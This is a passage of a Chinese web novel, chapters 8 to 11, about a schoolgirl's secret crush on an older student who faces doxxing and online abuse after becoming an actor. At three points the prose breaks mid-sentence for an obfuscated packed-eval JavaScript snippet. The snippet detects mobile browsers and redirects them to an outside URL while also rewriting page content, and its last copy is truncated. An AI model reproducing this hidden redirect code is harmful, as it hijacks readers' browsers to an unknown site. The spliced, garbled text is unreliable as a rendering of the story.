从那之后他就丢掉了那个保温杯,也没再下楼打热水,无论天气再冷还是去小卖部买饮料。 “别说他本来就有严重的洁癖,就算没有,一想到有陌生人每天都用自己的杯子喝水,和自己间接接吻,你说这事多恶心多瘆人啊,想想我都起一身鸡皮疙瘩了。” 孟寻忙问:“那后来呢?” “后来,”温渺渺回忆了下,“听说他们班老师想去调监控,让学校给那个女生处分,不过最后李纵学长没去,这事好像也就这么不了了之了。” 两人又说了些别人的八卦。 从奶茶店出来的时候,北风刮得脸上很疼。 温渺渺哆嗦着拢紧了外套,偏头看她一眼:“你穿这么少,不冷吗?” “……不冷。” 人总是要为自己的嘴硬付出代价的。 回去之后,孟寻就感冒了,在床上昏昏沉沉躺了好几天。 等到病好了一点,赶紧下床打开电脑,在学校贴吧里却怎么也找不到那个帖子了。后来问了温渺渺才知道,那个帖子早已被李纵亲自联系吧主要求删掉了。 没能拥有那张他的照片,成为这一年冬天她最大的遗憾。 8. moon 新学期开学文理分科,孟寻和温渺渺都选了文,可惜这次没有分到一个班,她在七班,温渺渺在八班。 开学一个多月,竟然一次也没碰见过李纵。 这天孟寻跟温渺渺聊天的时候终于忍不住拐弯抹角将话题引到了他身上:“最近怎么都没有听你说起高三那帮男生?” “高三?” 少女总是别扭的,明明想打听的是他,却总是要用另一个人来做幌子:“就,司钦北他们。” 温渺渺挤眉弄眼拖长了音:“哦,原来你想问的是司钦北学长啊?” “……嗯。” “没问题,这事包在我身上,我去给你打听。” 过了两天,温渺渺神秘兮兮把她拉到了走廊上,递来一张纸条:“看我给你要到了什么好东西,喏,这个就是容霆的Q/Q。” 孟寻一愣:“容霆?” “我都打探清楚了,你家司钦北他跟我们李纵学长一样,好友添加关了,空间也锁了,你想加他是没戏了。” 温渺渺继续说道:“但是容霆跟他俩不一样啊,他那Q/Q一加直接就自动通过了,动态还更新得特别勤,你可以去看看他的空间,反正他们几个天天在一起,你看容霆动态就能知道司钦北每天在做什么了。” 当天回到家里,孟寻立马打开电脑登录Q/Q,加上容霆之后迫不及待点进对方空间。 和温渺渺说的一样,容霆每天都会发好几条说说,内容包括各种角度的自拍、中午在食堂吃的饭菜、班主任堪忧的发量、CBA哪个队赢了哪个队又输了…… 孟寻翻了整整三个小时,才终于看完了那几千条说说,可惜的是,这里面提到李纵名字的就连一条也没有。 不应该啊。 他们的关系那么好,怎么会一点痕迹都没有呢? 深夜,孟寻躺在床上翻来覆去睡不着,又摸黑起来打开电脑,再次点进容霆的空间。 都说暗恋中的少女是最好的情报工作者,一番努力之下,还真的就让她在容霆那些动态里找到一点不明显的属于李纵的线索。 一是容霆晒过的游戏结算页面截图里,同队玩家有个id叫“LHHHHHH”的。看见那个“L”,出于女生特有的直觉,她一下认定这人就是李纵。 二是容霆发的某张自拍右下角带了新浪微博水印“@唐僧洗头用拉芳”,她顺着上边的名字摸到了对方的微博,是个专门记录心情的小号,没有跟学校里的人互关。 这个号发过几次照片,每张照片上李纵都或多或少地入镜了,有时是后背,有时是侧脸,有时只有一只手。 但也许这就是暗恋者独有的天赋,即便李纵只是露出一只手而已,她还是能认得出来,那就是他。 孟寻并不敢用自己的大号关注容霆,隔天用她爸爸老孟的手机重新注册了一个小号,而后才点了关注。 从这天起,每晚睡前她都要打开微博看看容霆今天又更新了什么内容,有没有关于李纵的。 容霆微博里的李纵,和孟寻以前从学校女孩们口中所了解的那个李纵,有些不太一样—— @唐僧洗头用拉芳:难得放一天假,说好出来打球的,结果我们少爷睡过头了,我跟北哥还在大太阳下傻傻等了他半小时。[哼][怒] @唐僧洗头用拉芳:今天是我们冷酷无情的北哥生日请客吃饭,来了这家新开的大排档,我们少爷说难吃,我觉得还行。 @唐僧洗头用拉芳:手感不好,坑了我们少爷六把,最后一把被他狂骂。[委屈][可怜][失望][悲伤][泪][苦涩] …… 孟寻每次看着看着就会无意识傻笑起来,原来,他也会赖床,也会挑食,也会生气骂人啊。 这种感觉,就像在玩一个收集类的单机游戏,一点一点挖掘和他有关的小碎片,然后逐渐地更贴近真实的他。 - 三月,天气渐渐暖和起来。 学校门口整条路上开满了粉白色的樱花,微风一吹,花瓣雨纷纷扬扬。经过树下穿白衬衫的少年,会微蹙着眉抬手拂去落在他肩上的雨点,继续前行。 而他浑然不知,身后不远处,少女蹲身下去,从地上捡起一片亲吻过他的花瓣,如获至宝,珍惜地将它合在书页中。 刚进七班就听说语文老师有个稳定的恋爱对象,对方也在一中,好像是在高三年级教化学,但一直不知道长什么样子。 这天孟寻去办公室送作业本时,语文老师半天没找到一本专业书,又急着要去开会,只好拜托她帮忙跑一趟高三年级的教师办公室—— “你找高高瘦瘦戴黑框眼镜那个,说你是文雯的学生,他就知道了。” 于是孟寻就这么获得了一次光明正大去高三教学楼区的机会。 明明早就来过,知道理科班教师办公室是在三楼,却假装不知道,去了一趟七楼,匆匆走过理一班门口,并如愿以偿地在教室里黑压压一片埋下去的脑袋中,看见自己想看的那一个,而后才心满意足来到三楼。 语文老师的对象很好认,整个教师办公室里,也只有他一个适婚年龄的,其他老师都是四五十岁的中年人。 孟寻走到对方桌前时,他正好起身要出去。听她说明来意后,他大手一挥,让她自己在桌上找找。 孟寻看着凌乱的桌面犯起了愁,认命地开始在那堆书和试卷中翻啊翻。 好不容易找到语文老师要的那本书,刚要离开,眼尾余光中却突然瞥见了密密麻麻的表格上一个熟悉的龙飞凤舞的名字:李纵。 压在一叠A4纸的最底下,刚好露出名字和后面以“135”开头的一小串数字。 看起来,好像是班级通讯录之类的东西…… 意识到这一点,心脏骤然停了一下,紧接着不受控狂跳起来。 砰、砰、砰。 一下又一下,带动耳膜,无比清晰。 而整个世界其他的声音,全都消失不见。 如何形容那一刻的心情呢? 就像,当你看见瓶盖上的“再来一瓶”觉得自己已经足够幸运时,“再来一瓶”又突然变成了“特等奖”。 “1、3、5……1、0、2。”孟寻在心里悄悄背着,一遍又一遍。 其实手机就在裤兜里,但根本不敢拿出来拍。 背到第十遍时,语文老师的对象回来了。看见她还在,他有些惊讶:“还没找到吗?” “找、找到了!”手心湿漉漉的,孟寻根本不敢直视对方的眼睛:“老师再见!” 一路狂奔,同时在心里默背着那串号码,不敢停下,害怕一停下就会想不起来。 回教室后马不停蹄将它写进笔记本里,这才堪堪松了口气。只是没过一会却发现有点不对,背了半天,只有10个数字,没有第11位。 是记漏了吗? 反复回忆着,确定自己看见的最后一个数字确实是“2”,终于得出结论,是看漏了。 最后一个数字,到底是几? 从0到9 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470226|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总共也就10种可能。 大不了一个一个试。 当天晚上,孟寻吃完饭就开始打电话。 尾号“0”、“3”、“7”都是暴躁的中年男人,在听见她说“对不起打错了”后,不约而同用了带“生殖器”的脏话骂了她。 尾号“1”、“2”和“8”都是成年女性,态度很友善,无一例外对她说了“没关系”。 尾号“4”是个声音听着跟她年纪相仿的女孩,双方友好地互道了“拜拜”才挂断电话。尾号“5”打过去铃声响了半天也没有人接。 尾号“6”是个老奶奶,听见孟寻“喂”了一声就把她当成了“敏敏”,任凭她怎么解释自己是打错了,对方都听不进,自顾自唠叨着:“敏敏啊,每天三餐要按时吃,工作上不要太拼命了,身体重要啊,姥姥在家等你回来……” 孟寻不忍心,只好陪着老人家聊了半小时。 尾号“9”是个年轻男人,在听见她出声后,就开始在电话那头发出一些奇奇怪怪的喘气声,孟寻挂掉后他还一直打来。 折腾了快一个小时,最后却是一无所获。 孟寻大受打击,一头倒在桌上。 正对着台灯发呆时,一旁手机突然震动起来。 她神情恹恹地拿起手机,看都没看屏幕上显示的号码就接了,声音有气无力:“喂。” 电话那头,对方似乎愣了一下,而后才开口:“喂,您好,刚才看见未接来电,请问您是?” 这声音、这声音…… 是他! 孟寻猛地坐直起身,结果因为激动,动作太快,脚一不小心踢到了桌角,痛得她没忍住倒吸一口冷气:“嘶——” 顾不上去看脚趾头是不是出血了,她强忍着疼龇牙咧嘴对着电话那头小声说道:“对、对不起啊,我想给我朋友打电话的,但好像,打错了……” 微弱电流声里,李纵声音沙哑清冷,透着淡淡的疏离感,似蝴蝶轻轻扇动翅膀,在她耳畔柔软着陆:“没事。” 孟寻以为他就要挂了,心头涌上巨大的失落。 却在下一秒听见他忽然问:“你没事吧?” “没、”她下意识摇头,“没事。” “那就好。”他顿了下,才哑声道:“拜拜。” “拜、拜拜。” 孟寻盯着手机屏幕,上面显示的通话时长数字还在增加,她甚至还能清晰听见他的呼吸声。 窗外不知何时下起小雨,淅淅沥沥,水雾氤氲,一颗颗水珠在透明玻璃上凝结,悄无声息渗进房间。 于是整个世界都是湿漉漉的,就连心脏也是。 大概三四秒过去,那头才将电话挂断。 而后手机屏幕亮光倏地熄灭,世界顷刻间万籁俱寂。 孟寻怔怔地坐着,好几分钟后才回过神来。 天呐! 刚刚发生了什么! 她!竟然!和李纵通话了! 孟寻整个身体往后仰去,抓起桌上英语书摊开来盖住脸,“啊啊啊”地大喊大叫起来,浑然不觉身后房门被轻轻推开一小条缝。 门口,孟家夫妻俩眉头越蹙越紧,对视后不约而同地摇了摇头。 “孩子她爸,小橘她这、这是不是最近学习压力太大了啊?” “我看是。” “都怪你,从去年我就说要带她出去旅游放松一下的,你倒好,一直说加班加班,没时间没时间,看把咱们女儿都给憋成神经病了。” …… 9. moon 进入四月,某天放学出来时,发现学校门口里三层外三层的围了一大群人,堵得水泄不通。门卫室的保安大叔摆出一张臭脸,手拿执法棍挥动着在赶人: “走走走,快走!这是孩子们学习的地方,不是外人可以随意进入的,你们这么多人堵在这里,他们怎么回家?赶紧走吧!” 隔天才从温渺渺口中得知,这些人都是冲着李纵来的—— “不知道是谁闲得没事把之前李纵在奶茶店被拍的那张照片私信给了一个博主,那个博主又把照片发了出来,结果这条微博被转了十几万次,现在李纵在网上可火了。” 本以为网络上围绕着李纵的那些讨论随着时间过去,很快就会失去热度,被大家忘记。 但接下来事情的发展却远远超出她的预料。 这天温渺渺请假没来,孟寻第一次和分到新班后的同桌隋遇,一个留着及腰长发、气质清冷安静的女生,一起来了女厕。 两人刚一进来,就看见洗手台那里围了几个女生正在说话—— “你们昨晚都看微博了吗?” “看了看了,超劲爆的!没想到李纵竟然是单亲家庭。” “真的假的?” “真的!网上有个人是他初中同学,还是他妈妈曾经教过的学生,说他爸妈早在他上初三那年就离婚了,对了,那个人还说李纵有过一个弟弟,这是什么意思啊?” “我也看到了,评论里有个回复说他弟弟已经没了,那意思就是死了吧。” 孟寻也不知道自己当时哪来的勇气,想也没想就冲了上去,打断那几个女生的谈话:“别人家的事情,你们能不能不要再讨论了!” 她们愣了一下,随即有个女生呛了回来:“关你什么事啊?神经病!” 孟寻还没来得及反击,下一秒就听见身旁隋遇不紧不慢开口:“这位同学,我建议你还是回去先把你的普通话好好练一练,不要“z”、“zh”不分,再来当八婆比较好。” 说完没看对方反应,隋遇又用一种像是在说“今天天气不错”那样毫无起伏的语气,对着孟寻吐槽:“她一直在那李重李重的,口音听得我难受死了。” 那个女生一下涨红了脸,眼圈也红了,好像下一秒就要哭出来。 两秒之后,她的同伴们反应过来,小声说着“算了算了,我们走吧”强行将她拉了出去。 孟寻回过神来,感激地看向隋遇:“谢谢。” “我可不是在帮你,别自作多情了。”隋遇语气淡淡:“只是单纯觉得,这种喜欢议论别人是不是单亲家庭的人,都挺贱的。” 晚上温渺渺打来电话:“李纵学长各种信息都被扒了,那群人也太极端了吧,好像恨不得把他祖宗十八代都挖出来一样,唉,好担心这样下去他会不会受到影响啊。” 这一刻,孟寻突然不想继续隐藏自己的秘密了:“我也是。” 她一边关注着微博上对李纵愈演愈烈的各种深扒隐私,心急如焚,一边却又不知道自己到底能够为他做些什么。 从未有过的无力感压得她几乎快喘不过气。 某节数学课上,不知第几次望着窗外走神时,孟寻突然瞥见对面教学楼天台上一道熟悉的身影。 明明隔得那么远,根本看不清李纵脸上表情,却还是第一时间感觉到了,此时此刻他的心情很差很差。 这是孟寻人生中第一次对老师撒谎,她说肚子疼,想去一趟医务室,老师没有丝毫的怀疑,大手一挥让她走了。 孟寻以百米冲刺的速度跑过了两栋教学楼之间的天桥。 距离那扇门只剩最后一级台阶时,她猛地刹车,捂着胸脯大口大口呼吸着,待平复下来,又一点一点仔细抚平裙摆,这才走上前去,轻轻拉开眼前的门。 日光在门下旋出一个不断扩大的扇形,直到完全吞噬掉她脚下阴影。 视线正中,男生双手扶在栏杆上背对着她,身高腿长,光是一个背影就叫人心动不已。 听见声音,李纵回过身来,白色校服衬衫微敞着领,脖颈修长,锁骨冷白而清晰。 目光与她交汇的瞬间,他将一个方形黑色金属外壳的东西迅速藏进了裤兜,是下意识的防备的动作。 孟寻心脏狂跳,低着头走到了另一边,双手撑着栏杆俯瞰整个校园,装作自己和他一样也是来这里看风景的。 为了将这场戏做足了,又从兜里掏出mp3,戴上耳机。 眼尾余光中,李纵似乎没有怀疑这场相遇是她刻意制造的,又转过身去,安静眺望远处。 她悄悄松了口气。 其实根本没有摁下播放键。 即使戴着耳机,依然可以清楚听见经过他的风是如何穿过她的头发。 仅仅只是这样如蜻蜓点水般的接触,都让她脸红心跳,呼吸急促。 他现在在想什么? 他,为什么不开心呢? 有很多问题想问,但都没有资格。 在他眼中,自己只不过是一个完全不认识的同学而已。 唯一能做的,也只有像现在这样,安静地守着他,陪着他。 但哪怕只能这样偷偷看着他,都叫她满心甜蜜,祈祷着时间可以就此暂停。 盯着他的侧脸入了迷,没想到他会突然转过脸来,孟寻一怔,想要别过眼去已经来不及。 两人的视线就这么在空气中撞上了。 “不要告诉别人我在这里,可以吗?”李纵说。 孟寻愣了两秒才回过神来,不自在地撩了下头发,小鸡啄米一样地拼命点头:“嗯。” 然后就看见他忽地笑了,漆黑眼睛里有明亮的水波漾开。 看起来,好像心情好了一点。 虽然完全不知道究竟是自己刚刚的哪一点讨好了他,但她也跟着开心起来。 “其实,你可以站过来一点的,”李纵看着她,解释道:“那个位置,容易被对面教师办公室的人看到。” “啊!”孟寻立马往他那边挪动。 两人之间的距离缩短到只剩下一米时,孟寻忽地瞥见地上有一个烟头,几乎是同一时间,李纵立马抬脚踩了上去,用鞋底压着不让她看见。 孟寻没有多想,从外套口袋里摸出一个装满糖果的透明玻璃罐。 察觉到他看了过来,她解释道:“这个是情绪急救罐。” 李纵微挑了下眉:“急救?” 孟寻从罐子里挑出一颗粉红色包装的,伸手递了过去:“给你,我最喜欢这个味道的。” 李纵垂眼,先看见的是女孩白皙细嫩的手指,指甲边缘修的很整齐圆润,在日光下泛着浅浅的粉。然后才看见那颗糖,包装袋上印着大大的草莓,汁水四溢。 他喉结微滚,并没有接。 沉默声中,孟寻鼓起勇气将手抬得更高。 “吃颗糖,心情会好点。”她顿了下,“每次我不开心的时候,一吃这个就好了。” 李纵定定地看着她,看得她心脏狂跳,怀疑自己的行为是不是太过唐突了时,他从她手心拿起那颗糖。 “谢谢。” “不客气!” 孟寻收回了手,心砰砰乱跳,整个人都晕乎乎的。直到注意力被楼下的吵闹声吸引过去。 乍一看是门卫室的保安大叔拎着执法棍正在追赶两个学生,看了几秒后又发现不对,那两个人虽然穿着一中的校服,但从身形来看,根本不是学生。 下一秒,孟寻突然意识到了什么,也一下明白了李纵躲在这里和心情不好的原因。 是那些人。 真没想到他们为了拍几张照片博取网络上虚无缥缈的关注,竟然可以如此无所不用其极,丝毫不考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470227|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李纵本人以及学校其他师生的感受,真的太过疯狂,也太没有道德了。 想到这些人就算今天被保安大叔赶出去了,肯定也会不死心地堵在学校门口,然后一路尾随李纵回家,孟寻心里又急又气,忍不住跺了下脚。 难道就拿这些人一点办法也没有吗? 电光火石之间,她倏然想起什么,急忙对他说道:“你等我一下!一定要等我!” 李纵清冷眼睛掠过一瞬的不解,但还是轻轻点了下头:“好。” 得到他肯定的答复后,孟寻赶紧拔腿飞奔下楼。 跑回教室时,下课铃刚好响了。顾不上喘口气,她手忙脚乱从桌肚里掏出自己的毛线帽,又在书包里翻出一袋口罩。这是去年冬天流感爆发的时候陈女士给她买的,一直放在书包夹层里忘了拿出来。 隋遇关切地问:“你还好吧?这么着急地要去哪?” “回来再跟你说!”孟寻拿好东西匆匆忙忙跑了出去。 人生中第一次跑得这样的快,生怕李纵会失去耐心离开。 好在,当她再次拉开那扇门时,他依然站在阳光下。 孟寻冲上前去,将帽子和口罩一把塞进对方手里:“给!” 说完顾不上看他反应,她蹲下身去毫无形象地大口大口喘着粗气。 过了好一会,孟寻才缓了过来,抬起头看着李纵,解释道:“戴上这个帽子还有口罩,他们应该就没法认出你了。” 少女一张小脸被日光蒸得红扑扑,杏仁眼内勾外翘,琥珀色瞳仁玻璃珠般透明,齐肩黑发被汗濡湿,一缕一缕紧紧黏在雪白天鹅颈上。 李纵收回视线,“……谢谢。” 她傻笑着摇了摇头。 李纵拿着那顶黑色的毛线帽,桃花眼微垂,不知在想什么。 片刻后,他忽地开口:“学妹。” 孟寻正抬手擦着额上的汗:“嗯?” 李纵唇角微勾:“下次不用跑这么快。” 他笑起来,眼睛特别亮,比头顶上方的太阳还要耀眼。 于是整个世界都开始天旋地转。 孟寻心脏狂跳,怔怔地望着他:“嗯……” 下次。 会有下次吗? 正胡思乱想着,上课铃声猝然响起。这一节是英语课,任课老师特别严厉。 顾不上和李纵说再见,孟寻赶忙转身狂奔回去。 少女匆匆穿过天桥,风将她百褶裙吹出锋利的角。 假若当时她回头往上看一眼,就能看见李纵正笨拙地尝试着戴上那顶陪了她一整个冬天的毛线帽。 那节英语课孟寻最后还是迟到了,被老师劈头盖脸骂了一顿。 不过她一点也不后悔。 后来孟寻再去天台时,那天地上的烟头已经不见了。 李纵也没再来过。 从温渺渺口中得知,他跟学校请了假,这段时间都不会来学校了。 持续了大半个月,关于他的那场风波渐渐平息下去。 学校又恢复了往常的平静。 五月的某天,温渺渺一脸兴奋地将她拉到走廊上:“你知道吗,姜导来洛川了,而且是专门为了我们李纵学长来的。” 孟寻微微皱眉:“姜导?” “就是很会拍少男少女青□□情,画风特别清新唯美的那个台湾导演啊,拍了《失忆金鱼》的那个。” 温渺渺接着说道:“这种大人物竟然亲自来了我们这种小地方,实在太不可思议了!” “你说,他是为了李纵来的?” “对啊,据可靠线报,姜导可是亲自去到了李纵学长家里邀请他拍电影呢。” “那他答应了吗?” “不知道,应该没有吧,毕竟他都快高考了,正是最关键的时候,就算真的要进娱乐圈,也不是现在啊。” 10. moon 然而温渺渺猜错了,就在几天之后,姜导正式公布了他此次筹拍的电影《风过檐铃》的选角名单。 其中男主角一栏,赫然写着“李纵”两个字。 这个消息迅速在网上引起又一轮新的讨论: 有人说,这个新人无论从长相还是身形条件都很优越,非常期待他在姜导调教下的表现,也十分看好不远的将来他能红透半边天。 也有人说,他非科班出身,不过是靠着网络炒作有了一点名气,等电影上映一定会露馅的。 还有人说,他一个无名小卒,不声不响的就拿下了这种好资源,背后肯定有靠山,要么本身就是富二代,要么就是有金主。 …… 而最后,竟是那些用心险恶的“背靠金主论”压过了其他所有声音。 那段时间,随便点开一条带“李纵”两个字的微博,评论区都不堪入目,全是污言秽语和恶毒的诅咒。 @Lucy在等待一个晴天:【早就听说过某位J姓导演的性取向不正常,他早年不还拍过同性恋电影嘛,现在突然用一个完全没有任何表演经验的新人来担主,已经很明显了,懂的都懂[微笑]】 @姑娘莫欺少年穷:【圈内人来了,是有隐隐听说过最近冒出来那位新人的一些东西啦,跟大家猜得也差不多,没办法,谁让人家技术好,会哄富婆开心呢[挖鼻]】 @向家小苹果:【真恶心啊,我家哥哥辛辛苦苦去试镜[委屈][可怜],最后却输给这种卖屁股的贱人[失望][悲伤][泪],娱乐圈果真黑暗[怒][吐],呵呵,李纵今晚就全家暴毙!】 …… 孟寻越往下看越生气,终于忍不住怼了其中一个人—— @寻寻觅觅走走停停回复@向家小苹果:【看见别人成功了第一反应就是对方肯定出卖了□□,那么我是不是可以理解为,您以及您喜欢的那位演员也是这样的人呢?】 “孟孟你也太可爱了吧,哪有跟别人吵架还客客气气用“您”的,你这一点杀伤力都没有,算了,手机给我,让姑奶奶我来给他一点小小的震撼吧!” 温渺渺撩起袖子亲自上阵,一通噼里啪啦输出,最后以对方大破防先一步拉黑了她取得本次胜利。 这天晚上,孟寻又梦见了李纵。 梦里他越走越快,越走越远,无论她如何拼命奔跑,也赶不上了。 - 五月的最后一天,也是高三年级所有学生以“学生”这个身份留在这所学校的最后一天。从明天开始,他们不用再过来上课了,而是在家全力以赴准备好迎接最后那场战役。 离别近在眼前。 有人感伤,有人疯狂。 正上着课,突然听见楼下一阵喧哗,坐在靠窗位置的同学纷纷探出头去看,而后不约而同“噗嗤”一声笑了出来。 “安静!” 讲台上老师大声吼着,试图维持课堂纪律,却无济于事。越来越多的人跑到窗边,在看清下边发生了什么后哈哈大笑起来。 最后老师干脆放弃了,也跟着大家来到窗边。 原来,是有个男生正赤着上半身,下边只穿一条红色短裤衩在操场上狂奔,手里还举着一块牌子,上边写着“方晓琪我喜欢你”。 而他身后不远处,保安大叔提着执法棍一边拼命追赶一边声嘶力竭地大吼:“zan住!你给我zan住!” 一口不标准的普通话让这本就荒诞的场景又增添了几分搞笑。 开始陆续有人自发围到操场边缘,分成了两派,一方为那个男生摇旗呐喊,另一方则是为保安大叔加油鼓劲。 孟寻看得目瞪口呆,身旁隋遇幽幽出声:“这个方晓琪肯定是上辈子坏事做尽,这辈子才会被这种男的喜欢。” 正看着热闹,人群中不知是哪个女生突然开口:“今天他们高三是不是要清教室了?” 紧接着便有另一个人说道:“听说李纵学长走之前还留了些书啊笔记本啊没带走,反正留在教室那些东西最后都是要被阿姨收去了当废品卖掉的,我们是不是可以去拿点留作纪念啊?” 女孩们一下被点醒了,立马三三两两朝着中明楼飞奔而去。 孟寻和温渺渺赶过去时,李纵的东西早已被大家瓜分得一点不剩。 温渺渺很气:“我靠,这群人是蝗虫吧,怎么连块橡皮擦都不能给我留啊。” 孟寻眼睫轻颤:“……是我总是太慢了。” 无论是在哪所高中,每年毕业季的保留节目一定有“撕课本”这一项。 一整栋楼被铺天盖地的欢呼声摇晃着,有人奔跑,有人哭泣,有人大喊大叫。白花花的纸屑撒了下来,漫天飘雪。 孟寻站在中明楼下,明明四周人声鼎沸,却突然觉得特别孤独,好像全世界只剩下自己一个人。 等到所有人都走光的时候,她重新回到了七楼。 黄昏鲜艳,橘粉色霞光染红教学楼间Z字形楼梯,走廊上一地金黄,波光粼粼。 少女轻轻推开教室后门,走到最后一排靠窗他的座位,坐下。 然后模仿着过去无数次经过走廊匆匆一眼瞥见的,他伏在桌上睡着的样子,将脸轻轻贴在他的桌上,闭上眼睛,感受着上边残留的属于他的那份气息。 风经过城市的大街小巷最后来到她的身边,白色窗纱摇曳浮动,远方电线塔始终安静地守候着稻田。 她睁开眼睛,单手撑着下巴静静看着窗外,想象着过去的一年,他每天透过这个窗会看见些什么。 是天边的云?是楼下的香樟树?还是别的什么? 她和他的目光,是否也曾停留在同一片叶子上? 想着想着她低下头来,指腹慢慢摩挲着他的课桌。 他没有在上面涂画的习惯,桌面特别的干净,什么遗迹也找不到。 因为时间不同步,所以即便是在同一个教室,用同一张桌子与同一张凳子,却还是与他不在同一空间。 孟寻如此清晰地意识到,从此以后,无论是在中明楼、天台上、篮球场、小卖部还是校门口,人来人往中再不会有叫“李纵”的那一个了。 - 高考落下帷幕。 迎朝楼和中明楼空出来还不到一个星期,学校领导就火急火燎让高二年级的学长学姐搬了过去。 这周轮到文七班打扫公共卫生区,孟寻所在的小组刚好又是负责地理园那一带的。 当她提着扫帚来到这里,脚下却没有一片落叶了,初夏才刚揭开序幕,一切都生机盎然。 仰头看向中明楼,一间间教室坐满了人。孟寻幻想着李纵也在其中,从没离开过。 她从未如此希望时光能够倒流,过去发生过的那些事情能够再经历一次。 而这一次,她会更加用心体验。 擦肩而过的时候,要勇敢地叫住他,就像当初温渺渺那样无所畏惧地说出那句,我是几几班的谁谁谁,我很喜欢你。 但人是无法两次踏进同一条河流的。 所以她永远也没有机会,在一个落叶纷飞的季节,在这所学校,当面叫出他的名字,摊开那份怀揣许久沉甸甸的晦暗心事。 少女在日复一日中逐渐变得沉默,像中明楼下那棵香樟树一样,深深扎根于暗黑冰冷的泥土之下。 六月的某天,一场台风将要到来又未真正到来的午后,乌云沉沉,燥热空气中挤不出一丝水分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仿佛置身被台风包围的孤岛,与外界彻底失联,整个世界只剩这一场滂沱的大雨,耳边再听不见任何声音,只固执地追寻着他的背影。就像过去无数个梦里的那样,始终紧紧跟在他身后。 而他也和梦里的一样,始终没有回过头来。 始终,不知道有“孟寻”这个人的存在。 在某一刻她突然明了林忆莲《词不达意》里的那句“我们就像隔着一层玻璃,看得见,却触不及”。 安静地陪他走了一路。 直到看着他快走到校门口,忽然没来由的心慌,想要继续追上去的时候却听见下课铃声猝然响起,整座校园瞬间沸腾起来,四面八方每一栋楼都有人从教室出来。 眨眼间,残忍地将她打回了现实世界。 孟寻杵在原地,就这么怔怔地注视着李纵走出校门,直到再也看不见了。 初见那天对她说“还不走”的李纵,将校服外套给她的李纵,永远把书包挂在左肩的李纵,走路时背影散漫的李纵,电话那头问她“没事吧”的李纵,天台上叫她“学妹”的李纵…… 不属于她的,李纵。 过去的一幕幕像雨点打落下来,将她淋成一个斑驳的大人。 她看见有什么东西正呼啸着飞奔而来重重碾过了她,同时抽走了她身体里的某些部分,留下一个空荡荡的躯壳。 不知何时,头顶上方的雨停了。 孟寻回过头来,看见是隋遇撑了把伞站在她的身后。 “不追上去,最后跟他说点什么吗?” 她们都明白这个“最后”究竟意味着什么。 “……不了。” 眼泪划过脸颊,孟寻听见自己声音带着湿润的水汽,被夏季的雨和风吹散:“追不上了啊。” 从今往后,见面成了一种奢望。 再想看到他,也只能隔着屏幕了。 11. moon 2013年的夏天尤其漫长。 孟寻不用再拐弯抹角拜托温渺渺想方设法去打听李纵的消息了,一打开微博就看见了关于他的报道。 虽然最后那两个月遇到一些风波,只能请假在家自己复习,但还好,他似乎没受什么影响,在高考中依然稳定发挥,最终被北京理工大学录取。 七月的某天,孟寻从容霆的微博中得知,李纵即将进组。 他离开洛川的那天,她跑到楼顶,从清晨到天黑傻傻地站着,呆呆地仰头望着天空。 掠过自己头顶上空那些飞机里,究竟是哪一架飞机带着他离开? 她始终不知晓答案。 天黑下来,路灯亮起的瞬间,孟寻突然有种强烈的直觉,李纵已经离开了。 这座城市一下变得空荡荡的。 她的世界也成了一片荒原。 那晚在天台上吹了很久的风,下楼吃饭的时候被辣椒呛到眼泪直流,隔天起来眼皮特别肿。 也是那个时候孟寻才知道,原来哭多了,就可以变成那种眼褶很深很深的欧式大双。奇怪,以前怎么都没发现呢? 姜导以往每部电影的拍摄都搞得神神秘秘的,有时候甚至会带着整个团队去荒山野岭待上十天半个月都不出来,也不许剧组演职人员和外界联系,因此在电影宣传期之前,网上几乎搜不到任何路透。 可在那年八月底,网上却突然流出了一张偷拍照。 照片中远处屋檐下,李纵穿着一身蓝白校服,身高腿长,对面站着一个娇小清纯的少女,长发及腰,一手举着透明雨伞,踮起脚仰头看他。 即使因为距离太远,照片的画质很低,模糊不清,但两人的高颜值还是在微博掀起了一阵讨论—— 【这对小情侣的身高差好萌呀!磕死我了呜呜呜!能不能快点上映?我的钱包已经迫不及待了!】 【不愧是我最喜欢的导演,这挑人的眼光真毒啊!男主颜值太高了,女主很纯很灵,非常期待这两个新人演员在大屏幕上的表现!】 【啊啊啊这个男生好帅啊!一分钟内我要他全部的资料!】 …… 孟寻不停往下滑动,把所有的评论一条一条都看完了。 心情是从未有过的复杂,既为他开心,因他骄傲,为他担忧,也有因看见那些“般配”、“期待吻戏”之类的字眼而产生的阴暗的酸涩。 她将这张照片截掉旁边女孩只留下他,保存下来。 然后和手机里那张他的背影照一起放进了命名为“LZ”的相册。 - 九月来临,搬到了高二的教学楼,从曾经的“学妹”变成了新一届高一生口中的“学姐”。还不太适应这个新身份,好几次早上都会迷迷糊糊地走错到高一的教学楼。 日子还和之前一样的过,平静到没有一丝波澜。 所有人好像都没变。温渺渺还是一如既往的活力满满,每天花痴和八卦。隋遇也还是那样,大多数时间清冷安静,又总会冷不丁的冒出一句毒舌的吐槽。 然而孟寻总会在某个瞬间突然觉得周围一切很陌生,似乎少了点什么,让她很不习惯。 